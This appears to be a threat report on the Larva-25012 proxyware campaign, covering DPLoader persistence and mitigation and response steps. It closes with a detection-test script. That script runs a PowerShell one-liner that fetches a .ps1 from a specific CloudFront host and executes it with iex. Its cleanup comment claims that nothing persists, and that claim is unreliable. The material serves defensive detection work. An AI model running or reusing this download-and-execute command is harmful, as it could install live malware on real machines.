Larva-25012: A 2026 Proxyware Distribution Campaign

Summary

The Larva-25012 threat actor is actively distributing Proxyware to monetize compromised systems by hijacking users’ internet bandwidth. The campaign builds on existing DPLoader infections and relies on multiple distribution channels, including YouTube download websites and GitHub. The malware deploys several Proxyware families, including DigitalPulse, SOAX, Appsalt, and IPRoyal.

Investigation

AhnLab Security Intelligence Center (ASEC) tracked ongoing proxyjacking activity and identified renewed Larva-25012 operations during the second half of 2026. The investigation found that attackers use both JavaScript and Python variants of DPLoader to maintain persistence and execute PowerShell commands. Scheduled tasks are also created to ensure the malicious scripts continue running on compromised systems.

Mitigation

Users should avoid downloading executable files from suspicious websites, pop-up advertisements, or unofficial file-sharing platforms. Software should be obtained only from trusted and legitimate sources, while cracked applications and illegal download sites should be avoided. Organizations should also keep endpoint protection solutions, including V3, fully updated.

Response

When suspicious activity is detected, administrators should identify and terminate malicious PowerShell processes and scheduled tasks associated with the affected Proxyware families. Systems should also be checked for DPLoader, which serves as a key infection and persistence component. Review outbound network traffic for unauthorized connections to known or suspicious C2 infrastructure.

Simulation Execution

• Attack Narrative & Commands: An adversary, attempting to install proxyware for unauthorized bandwidth usage (Larva-25012), executes a PowerShell one-liner. The goal is to bypass local file scanning by downloading the payload directly into memory. They use the -ExecutionPolicy Bypass flag to ensure the script runs and iwr to fetch the file from a Cloudfront distribution, piping it to iex for immediate execution. This specific command line is one of the targeted signatures in the detection rule.

• Regression Test Script:

  # Simulation of Larva-25012 Proxyware Installation
  # This command is specifically designed to match selection2 in the detection rule.
  
  $cmd = 'PowerShell.Exe -ExecutionPolicy Bypass -Command "iwr -UseBasicParsing -Uri http://dhrciu5akloar.cloudfront.net/63563545600333.ps1 | iex"'
  
  # We use Start-Process to ensure the command line is captured as a new process event
  Start-Process "powershell.exe" -ArgumentList "-ExecutionPolicy Bypass -Command `"iwr -UseBasicParsing -Uri http://dhrciu5akloar.cloudfront.net/63563545600333.ps1 | iex`""

• Cleanup Commands:

  # No files are actually downloaded due to the nature of the 'iex' pipe in simulation, 
  # but if any artifacts were created, they would be removed here.
  Write-Host "Simulation cleanup complete. No persistent artifacts created."